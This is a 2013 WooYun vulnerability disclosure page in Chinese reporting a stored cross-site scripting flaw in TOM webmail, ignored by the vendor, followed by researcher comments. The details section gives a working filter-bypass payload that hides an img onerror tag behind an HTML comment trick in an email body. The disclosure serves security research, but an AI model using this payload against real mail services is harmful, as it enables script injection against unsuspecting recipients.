当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-018895

漏洞标题:TOM邮箱存储型Xss,富文本过滤器bypass技巧

相关厂商:TOM在线

漏洞作者: Jsn.king

提交时间:2013-02-19 12:04

修复时间:2013-02-24 12:05

公开时间:2013-02-24 12:05

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-02-19: 细节已通知厂商并且等待厂商处理中
2013-02-24: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

邮件内容未过滤,造成XSS攻击

详细说明:

<div>内容<!--<img src=\"--><img src=x onerror=alert(1)//\"></div>


发信时,在邮件内容中插入以上代码,触发XSS,这洞可不小

漏洞证明:

QQ截图20130219113400.jpg


证明直接上图,信不信看着办,第一次提交,送个邀请码吧

修复方案:

过滤问题,你们应该懂的

版权声明:转载请注明来源 Jsn.king@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-02-24 12:05

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-02-19 13:44 | Rookie ( 普通白帽子 | Rank:288 漏洞数:78 | 123)

    牛B的路人甲

  2. 2013-02-19 14:11 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一,一生二,二生三,三生万物,万物负...)

    tom正处于新旧版本更新阶段,目前新版本的富文本区域没有做防xss处理,所以出现xss没啥奇怪的。

  3. 2013-02-19 17:07 | Jesus ( 实习白帽子 | Rank:60 漏洞数:18 | 天地不仁,以万物为刍狗!)

    哎~各位同仁们,留点后路吧。